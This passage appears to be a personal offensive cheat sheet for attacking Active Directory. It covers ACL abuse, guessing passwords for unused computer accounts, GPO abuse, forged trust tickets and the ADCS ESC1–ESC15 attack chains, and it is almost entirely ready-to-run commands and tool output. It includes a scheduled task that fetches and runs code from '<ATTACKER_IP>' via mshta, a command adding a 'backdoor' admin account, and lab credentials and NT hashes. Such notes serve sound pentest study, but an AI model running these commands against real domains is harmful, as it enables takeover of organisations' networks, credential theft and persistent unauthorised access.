bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add genericAll '<TARGET>' '<USERNAME>' - Continue with the matching abuse path (password reset, Shadow Credentials, RBCD, AddMember, …)
WriteMembers
Write access to the group
memberattribute — equivalent in practice to AddMember.
User over a Group
Windows
- Powerview:
Add-DomainGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET USER>' - Powershell:
Add-ADGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET USER>'
Linux
net rpc group addmem '<TARGET GROUP>' '<TARGET USER>' -U '<DOMAIN>/<USERNAME>%<PASSWORD>' -S <DC IP>bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember '<TARGET GROUP>' '<TARGET USER>'
Passwords and Trusts
Broken Trust Workstations (STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT)
Linux
Generate dictionaries
- Computers:
ldapsearch-ad -l 10.10.116.145 -d 'retro2.vl' -u 'ldapreader' -p 'ppYaVcB5R' -t search -s '(&(userAccountControl=4128)(logonCount=0))' | grep "sAMAccountName" | awk '{print $5}' | tee computers.txt - Passwords:
cat computers.txt | awk '{print tolower($1)}' | tr -d '$' | tee passwords.txt
Check connection
netexec smb <DC_IP> -u computers.txt -p passwords.txt --no-bruteforce --dns-tcp
You will see the error message
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNTwhen you have guessed the correct password for a computer account that has not been used yet.
Change password
- Configure
/etc/hosts:127.0.0.1 localhost 127.0.0.1 kali ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
10.10.94.104 BLN01.retro2.vl retro2.vl BLN01
2. Configure `/etc/krb5.conf`:
```bash
[libdefaults]
default_realm = RETRO2.VL
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
RETRO2.VL = {
kdc = bln01.retro2.vl
admin_server = bln01.retro2.vl
kpasswd_server = bln01.retro2.vl
}
[domain_realm]
retro2.vl = RETRO2.VL
.retro2.vl = RETRO2.VL
- Change the password:
kpasswd FS01$
Password Expired (STATUS_PASSWORD_EXPIRED)
Linux
smbpasswd -r <DC_IP> -U <USERNAME>
GPO Abuse – Scheduled Task via Site Link (Forest-Wide Execution)
Requirements
- Ability to create a GPO in a controlled domain
- Write permissions over the created GPO
- WriteGPLink permissions over a Site object
- Domains must belong to the same forest
- Does not work cross-forest
Steps
-
Obtain the SID of the controlled domain:
- Windows
whoami /userGet-ADDomain | Select-Object DomainSID
- Linux
impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP>netexec ldap <DC IP> -u '<USERNAME>' -p '<PASSWORD>' --get-sid
- Windows
-
Create a new GPO:
python3 gpb.py gpo create -d <CONTROLLED_DOMAIN> --dc <DC_FQDN> -u '<USERNAME>' -p '<PASSWORD>' -s <CONTROLLED_DOMAIN_SID> -n '<CREATED_GPO_NAME [Ex: LATERAL]>' -
Create the Scheduled Task Configuration File
ImmediateTask_create_computer.ini:[MODULECONFIG] name = Scheduled Tasks type = computer [MODULEOPTIONS] task_type = immediate program = cmd.exe arguments = /c mshta http://<ATTACKER_IP>/file.hta [MODULEFILTERS] -
Inject the Scheduled Task into the GPO:
python3 gpb.py gpo inject -d <CONTROLLED_DOMAIN> --dc <CONTROLLED_DC_FQDN> -u '<USERNAME>' -p '<PASSWORD>' -m ImmediateTask_create_computer.ini -n '<CREATED_GPO_NAME>' -
Link the GPO to a Site object inside the Configuration partitionusing PowerShell as a privileged user (e.g. Domain Admin or equivalent) (Change
Default-First-Site-Nameto desired site name):New-GPLink -Name <CREATED_GPO_NAME> -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=<TARGET_DOMAIN>,DC=<TLD>" -Server <CONTROLLED_DC_FQDN>Cleanup
-
Unlink the GPO using PowerShell as a privileged user (e.g. Domain Admin or equivalent) (Change
Default-First-Site-Nameto desired site name):Remove-GPLink -Name <CREATED_GPO_NAME> -Target "CN=<SITE_NAME>,CN=Sites,CN=Configuration,DC=<TARGET_DOMAIN>,DC=<TLD>" -
Delete the GPO:
python3 gpb.py gpo delete -d <CONTROLLED_DOMAIN> --dc <DC_FQDN> -u '<USERNAME>' -p '<PASSWORD>' -n '<CREATED_GPO_NAME>'
Domain Trust Abuse (No funciona, probar más)
https://medium.com/r3d-buck3t/breaking-domain-trusts-with-forged-trust-tickets-5f03fb71cd72
└─$ impacket-lookupsid 'denkiair-ops.com/Administrator@172.16.149.100' -hashes :749f6bfb0200dbbdb2fcbd03dd3ccaff | grep "Domain SID"
[*] Domain SID is: S-1-5-21-3201884533-1978816571-202098193
└─$ impacket-lookupsid 'denkiair-ops.com/Administrator@172.16.149.102' -hashes :749f6bfb0200dbbdb2fcbd03dd3ccaff | grep "Domain SID"
[*] Domain SID is: S-1-5-21-3313635286-3087330321-3553795959
└─$ impacket-ticketer -nthash 'e5aa80149c24cc14835155cf3a366dac' -domain-sid 'S-1-5-21-3201884533-1978816571-202098193' -domain 'denkiair-ops.com' -extra-sid 'S-1-5-21-3313635286-3087330321-3553795959-1603' -spn 'krbtgt/denkiair-prod.com' fakeuser 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for denkiair-ops.com/fakeuser
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in fakeuser.ccache
└─$ KRB5CCNAME="fakeuser.ccache" impacket-getST -k -no-pass -spn 'CIFS/dc03.denkiair-prod.com' 'denkiair-prod.com/fakeuser@dc03.denkiair-prod.com' -dc-ip 172.16.149.102
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[+] Using Kerberos Cache: fakeuser.ccache
[+] Returning cached credential for KRBTGT/DENKIAIR-PROD.COM@DENKIAIR-OPS.COM
[+] Using TGT from cache
[+] Username retrieved from CCache: fakeuser
[*] Getting ST for user
[+] Trying to connect to KDC at 172.16.127.102:88
[*] Saving ticket in fakeuser@dc03.denkiair-prod.com@CIFS_dc03.denkiair-prod.com@DENKIAIR-PROD.COM.ccache
└─$ KRB5CCNAME="fakeuser@dc03.denkiair-prod.com@CIFS_dc03.denkiair-prod.com@DENKIAIR-PROD.COM.ccache" netexec smb 172.16.149.102 -k --use-kcache --dns-tcp
SMB 172.16.127.102 445 DC03 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC03) (domain:denkiair-prod.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 172.16.127.102 445 DC03 [+] DENKIAIR-OPS.COM\fakeuser from ccache
GPOs
Writable GPOs are one of the most reliable domain-persistence / lateral-movement primitives. Prefer machine-context payloads (Scheduled Task / Immediate Task) so the code runs as
SYSTEMon members of the linked OU/Site.
GPOEdit
BloodHound edge: principal can edit GPO settings (typically write on
GPLink/ GPC file SYSVOL content without full DACL wipe). Abuse by dropping a malicious Scheduled Task / registry / script extension under\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{<GPO_GUID>}.
Requirements
- Write access to the GPO (GPC in AD and/or GPT in SYSVOL)
- GPO linked to an OU/Site that contains target computers or users
Linux
- Resolve GPO GUID / path:
bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' get object '<GPO_NAME>' --attr displayName,gPCFileSysPath,objectGUID - Inject an Immediate Scheduled Task (example with pyGPOAbuse):
python3 pygpoabuse.py '<DOMAIN>/<USERNAME>:<PASSWORD>' -gpc-id '{<GPO_GUID>}' -f -command 'cmd.exe /c whoami > C:\\Windows\\Temp\\gpo.txt' -taskname 'Updater' -description 'Update' -user
- Or manually edit GPT XML under SYSVOL (
ScheduledTasks.xml,Scripts.ini, …) with SMB write:smbclient '//<DC_FQDN>/SYSVOL' -U '<DOMAIN>/<USERNAME>%<PASSWORD>'
- Force policy refresh on a target (if you have exec):
gpupdate /force - Full forest/site-oriented example: see GPO Abuse – Scheduled Task via Site Link
Windows
- SharpGPOAbuse (add computer/user computer startup script or immediate task):
SharpGPOAbuse.exe --AddComputerTask --TaskName 'Update' --Author 'NT AUTHORITY\SYSTEM' --Command 'cmd.exe' --Arguments '/c net user backdoor Password123! /add' --GPOName '<GPO_NAME>'
- Or edit the GPO in
gpmc.msc/ PowerShell if you have interactive rights - Wait for GP refresh or force:
Invoke-GPUpdate -Computer '<TARGET>' -Force
GpoEditDeleteModifySecurity
Stronger GPO control: edit settings and modify the GPO security descriptor (DACL). You can grant yourself full control, keep persistence on the GPO object, and still push malicious GPT content.
Requirements
- Rights equivalent to edit +
WriteDacl/WriteOwneron the GPO object
Linux
- Grant yourself full control on the GPO if needed:
bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add genericAll '<GPO_NAME>' '<USERNAME>'
- Abuse exactly as GPOEdit (pyGPOAbuse / SYSVOL write / SharpGPOAbuse)
- Optionally hide/lock others out by rewriting the GPO DACL after planting the task
Windows
- PowerView:
Add-DomainObjectAcl -TargetIdentity '<GPO_NAME>' -PrincipalIdentity '<USERNAME>' -Rights All - Plant payload with SharpGPOAbuse / GPMC as in GPOEdit
GpoEditDeleteModifySecurityAndLink
Full GPO kill-chain edge: edit + modify security and (re)link the GPO to an OU/Site/Domain. If the GPO is not currently linked to your targets, create/change the link yourself.
Requirements
- GPO edit + DACL control
- Rights to create/modify
GPLinkon the target OU / Site / Domain (WritePropertyongPLink/ GenericWrite on the container)
Linux
- Ensure control of the GPO (same as GpoEditDeleteModifySecurity)
- Link the GPO to the target OU/Site:
- Powershell remoting / winrm if available:
New-GPLink -Name '<GPO_NAME>' -Target 'OU=<OU>,DC=<DOMAIN>,DC=<TLD>' - Or set
gPLinkvia LDAP/bloodyADon the OU
- Powershell remoting / winrm if available:
- Plant a SYSTEM Scheduled Task as in GPOEdit
- Site-wide / cross-domain pattern: GPO Abuse – Scheduled Task via Site Link
Windows
New-GPLink -Name '<GPO_NAME>' -Target 'OU=<OU>,DC=<DOMAIN>,DC=<TLD>'SharpGPOAbuse.exe --AddComputerTask --GPOName '<GPO_NAME>' --Command 'cmd.exe' --Arguments '/c <PAYLOAD>' --TaskName 'Update' --Author 'NT AUTHORITY\SYSTEM'Invoke-GPUpdate -Computer '<TARGET>' -Force
ADCS
Enumerate with Certipy / Certipy-ad:
certipy find -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -vulnerable -stdoutJSON export (for bloodhound_analyzer--adcs):certipy find -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -vulnerable -json -output <PREFIX>
ESC1 Misconfigured Certificate Templates
Template allows the enrollee to supply a Subject Alternative Name (SAN) and has Client Authentication (or Any Purpose) EKU. A low-priv user can request a certificate as any domain principal (e.g. Domain Admin).
Requirements
- Enrollment rights on the vulnerable template
Enrollee Supplies Subjectenabled- Client Authentication / Smart Card Logon / Any Purpose EKU
- Manager approval disabled
- Authorized signatures required =
0
Linux
- Request a certificate impersonating a privileged user:
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<TEMPLATE>' -upn 'administrator@<DOMAIN>' -out esc1 - Authenticate with the certificate (PKINIT) and recover the NT hash:
certipy auth -pfx esc1.pfx -dc-ip <DC_IP> -domain '<DOMAIN>' -username 'administrator' - Use the NT hash (Pass-the-Hash / DCSync / etc.)
Windows
- Request a certificate with a forged SAN (Certify):
Certify.exe request /ca:<DOMAIN>\<CA_NAME> /template:<TEMPLATE> /altname:administrator - Convert / use the certificate with Rubeus:
Rubeus.exe asktgt /user:administrator /certificate:<CERT.pfx> /password:<PFX_PASSWORD> /ptt
ESC2 Any Purpose EKU
Template has the Any Purpose EKU (or no EKU). The certificate can be used as an Enrollment Agent certificate to enroll on behalf of other users (often chained with ESC3), or directly for client authentication depending on CA/policy.
Requirements
- Enrollment rights on the template
- EKU = Any Purpose (
2.5.29.37.0) or empty EKU - Manager approval disabled / no authorized signatures required
Linux
- Request a certificate from the ESC2 template:
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC2_TEMPLATE>' -out esc2 - If usable for client auth directly:
certipy auth -pfx esc2.pfx -dc-ip <DC_IP> - Otherwise use it as enrollment agent against an ESC3 template (see ESC3):
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC3_TEMPLATE>' -on-behalf-of '<DOMAIN>\Administrator' -pfx esc2.pfx -out esc3_admin
ESC3 Enrollment Agent Templates
Two-template chain:
- Enrollment Agent template (Certificate Request Agent EKU) — enrollee obtains an agent certificate
- Subject template that requires an application policy / authorized signature from that agent — enrollee enrolls on behalf of any user
Requirements
- Rights to enroll on the Certificate Request Agent template
- A second template that requires the Enrollment Agent signature and allows Client Authentication
- No manager approval blocking issuance
Linux
- Request an Enrollment Agent certificate:
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC3_CRA_TEMPLATE>' -out agent - Enroll on behalf of a privileged user:
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC3_TEMPLATE>' -on-behalf-of '<DOMAIN>\Administrator' -pfx agent.pfx -out esc3_admin - Authenticate:
certipy auth -pfx esc3_admin.pfx -dc-ip <DC_IP> -domain '<DOMAIN>' -username 'administrator'
ESC4 Vulnerable Certificate Template Access Control
Principal has dangerous AD rights on the certificate template object (
GenericAll,WriteDacl,WriteOwner,WriteProperty, etc.). Modify the template into an ESC1-like configuration, abuse it, then (optionally) restore the original ACLs/flags.
Requirements
GenericAll/WriteDacl/WriteOwner/ write access over the template in AD- Ability to enroll after the modification (or grant yourself enrollment)
Linux
- Save / inspect current template config:
certipy template -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -template '<TEMPLATE>' -json - Make the template ESC1-vulnerable (Certipy default push):
certipy template -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -template '<TEMPLATE>' -write-default-configuration - Abuse as ESC1:
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<TEMPLATE>' -upn 'administrator@<DOMAIN>' -out esc4 - Authenticate:
certipy auth -pfx esc4.pfx -dc-ip <DC_IP> - Restore the original configuration from the saved JSON if needed:
certipy template -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -template '<TEMPLATE>' -configuration <SAVED.json>
ESC5 Vulnerable PKI Object Access Control
Control over sensitive PKI containers / objects beyond templates (e.g.
CN=Public Key Services, Certificate Templates container, Enrollment Services, NTAuthCertificates). Can lead to publishing rogue CAs, templates, or certificates trusted for authentication.
Requirements
- Dangerous ACLs (
GenericAll,WriteDacl,CreateChild, …) on PKI AD objects under:CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>
Linux
- Confirm control with Certipy / BloodHound / LDAP ACL review on PKI objects
- Depending on the object owned:
- Publish a malicious / attacker-controlled CA certificate into
NTAuthCertificates - Create or modify templates / enrollment services you can enroll against
- Publish a malicious / attacker-controlled CA certificate into
- Enroll and authenticate with the resulting certificate:
certipy auth -pfx <CERT>.pfx -dc-ip <DC_IP>
Exact steps depend on which PKI object is writable. Prefer mapping the ACE in BloodHound/Certipy before changing Configuration-partition objects.
ESC6 EDITF ATTRIBUTESUBJECTALTNAME2
CA flag
EDITF_ATTRIBUTESUBJECTALTNAME2is enabled. The CA accepts a SAN requested as a certificate name flag attribute even when the template does not allow enrollee-supplied subject. Any enrollable Client Authentication template on that CA becomes ESC1-equivalent.
Requirements
- CA has
EDITF_ATTRIBUTESUBJECTALTNAME2(Certipy:User Specified SAN: Enabled) - A template you can enroll that allows Client Authentication
Linux
- Confirm with Certipy find (
User Specified SAN: Enabledon the CA) - Request a certificate with a crafted UPN against a normal enrollable template:
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template 'User' -upn 'administrator@<DOMAIN>' -out esc6 - Authenticate:
certipy auth -pfx esc6.pfx -dc-ip <DC_IP>
Hardening note
- Disable the flag on the CA:
certutil -config '<CA_HOST>\<CA_NAME>' -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2then restart CertSvc
ESC7 Vulnerable Certificate Authority Access Control
Principal has
ManageCAand/orManageCertificateson the CA. Can approve pending requests, change CA configuration (including enabling ESC6), or otherwise coerce privileged certificate issuance.
Requirements
ManageCAand/orManageCertificateson the Enterprise CA- Often combined with a template that requires manager approval (approve your own request) or with flipping SAN flags
Linux
- Detect with Certipy (
ESC7on the CA / dangerous CA ACL principals) - Enable SAN abuse via CA config (ESC6 path) if
ManageCA: remote registry /certutilas the privileged context on the CA host - Or request a certificate that needs approval and approve it with
ManageCertificates - Authenticate with the issued certificate:
certipy auth -pfx <CERT>.pfx -dc-ip <DC_IP>
Windows
- On the CA host (or remotely with sufficient rights), use
certsrv.msc/certutilto approve requests or change policy modules - Enable
EDITF_ATTRIBUTESUBJECTALTNAME2if needed, then follow ESC6
ESC8 NTLM Relay to AD CS HTTP Endpoints
AD CS Web Enrollment (
/certsrv/) is reachable over HTTP (or HTTPS without channel binding). Relay a coerced victim (preferably a Domain Controller) to the enrollment endpoint and obtain a certificate for that machine account.
Requirements
- Web Enrollment enabled (HTTP, or HTTPS without EPA/channel binding)
- Ability to coerce NTLM auth from a high-value account (PrinterBug / PetitPotam / etc.)
- Victim account that can enroll on a Client Authentication template (machine accounts usually can enroll
Machine/DomainController)
Linux
- Start the relay targeting Web Enrollment:
certipy relay -target 'http://<CA_FQDN>/certsrv/' -template DomainController- Or with Impacket:
impacket-ntlmrelayx -t 'http://<CA_FQDN>/certsrv/certfnsh.asp' -smb2support --adcs --template DomainController
- Or with Impacket:
- Coerce the DC (example PetitPotam):
python3 PetitPotam.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' <LISTENER> <DC_FQDN> - Authenticate with the captured certificate:
certipy auth -pfx <DC_CERT>.pfx -dc-ip <DC_IP> - DCSync / dump with the obtained machine credentials
Prefer coercing a DC when the
DomainController/DomainControllerAuthenticationtemplate is enrollable by the machine account.
ESC9 No Security Extension
Template has
CT_FLAG_NO_SECURITY_EXTENSIONinmsPKI-Enrollment-Flag. The issued certificate omits theszOID_NTDS_CA_SECURITY_EXTSID extension, so StrongCertificateBindingEnforcement / certificate mapping can be bypassed when combined with the ability to write a victim’sdNSHostName/ UPN (or other mapping attributes).
Requirements
- Template with no security extension
- Write access to a victim account attribute used for implicit mapping (commonly
dNSHostName/ UPN) — often viaGenericWrite/AllExtendedRights - Client Authentication EKU on the template
Linux
- Read Certipy finding (
ESC9: template has no security extension) - Set the victim’s mapping attribute to match an account you can enroll as (example with bloodyAD):
bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<VICTIM>' dNSHostName -v '<CONTROLLED_HOST>.<DOMAIN> - Enroll on the ESC9 template:
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC9_TEMPLATE>' -out esc9 - Authenticate as the victim:
certipy auth -pfx esc9.pfx -dc-ip <DC_IP> -username '<VICTIM>'
ESC10 Weak Certificate Mappings
Weak registry certificate mapping on DCs (
CertificateMappingMethods/StrongCertificateBindingEnforcement). UPN or other weak mappings allow authentication as another user with a certificate that only matches a writable name attribute.
Requirements
- Weak mapping mode on the KDC / Schannel (e.g. UPN mapping allowed, strong binding disabled or compatibility mode)
- Ability to write the victim’s UPN (or relevant altSecurityIdentities / name fields)
- Any Client Authentication certificate you can enroll
Linux
- Confirm weak mapping (Certipy / registry on DC):
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethodsHKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement
- Overwrite the victim UPN to one you control:
bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<VICTIM>' userPrincipalName -v '<CONTROLLED_UPN>' - Enroll a client-auth certificate for the controlled UPN:
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template 'User' -out esc10 - Authenticate:
certipy auth -pfx esc10.pfx -dc-ip <DC_IP> - Restore the victim UPN after obtaining the hash/TGT
ESC11 Relaying to ICPRPC
Relaying NTLM authentication to the CA’s ICPR RPC interface (
ICertPassage) when the CA does not require encryption (similar idea to ESC8, but RPC instead of HTTP Web Enrollment).
Requirements
- CA allows ICPR enrollment without encryption / with relayable auth
- Coercion of a victim that can enroll a useful template
- Relay tool support for ICPR (Certipy / custom ntlmrelayx)
Linux
- Detect with Certipy (
ESC11on the CA) - Start Certipy relay against the CA RPC enrollment endpoint:
certipy relay -target 'rpc://<CA_FQDN>' -template DomainController - Coerce authentication from a DC / high-value machine to the relay listener
- Authenticate with the received PFX:
certipy auth -pfx <CERT>.pfx -dc-ip <DC_IP>
ESC13 Issuance Policy with Privileged Group Link
Template is linked to an issuance policy OID that maps (via OID group link) into a privileged AD group. Enrolling the template grants the certificate the associated group membership in the PAC / logon token — effectively adding the enrollee to that group without touching
member.
Requirements
- Template with Client Authentication and an issuance policy OID
- OID object linked to a privileged group (
msDS-OIDToGroupLink) - Enrollment rights on the template for the attacker
Linux
- Confirm with Certipy (
ESC13+Linked Groupson the template) - Enroll:
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC13_TEMPLATE>' -out esc13 - Authenticate and use the ticket/hash — the resulting identity includes the linked group privileges:
certipy auth -pfx esc13.pfx -dc-ip <DC_IP>
ESC15 EKU Confusion Schema V1
CVE-2024-49019 / EKUwu: schema version 1 templates can be abused so the applicant supplies application policies / EKUs that the CA does not adequately constrain. Enrollee can obtain a certificate with EKUs required for authentication or enrollment-agent scenarios even when the template appears limited.
Requirements
- Template with
msPKI-Template-Schema-Version=1 - Enrollment rights on that template
- CA / environment still vulnerable (patch status matters)
Linux
- Confirm schema v1 + Certipy
ESC15finding - Request a certificate while specifying client-auth / agent application policies (Certipy):
certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC15_TEMPLATE>' -application-policies '1.3.6.1.5.5.7.3.2' -out esc15 - Authenticate:
certipy auth -pfx esc15.pfx -dc-ip <DC_IP> - Or chain into on-behalf-of enrollment if an agent EKU was obtained (see ESC3)
Patch CAs / remove schema v1 templates from enrollment where possible. Prefer schema v2+ templates with explicit EKUs.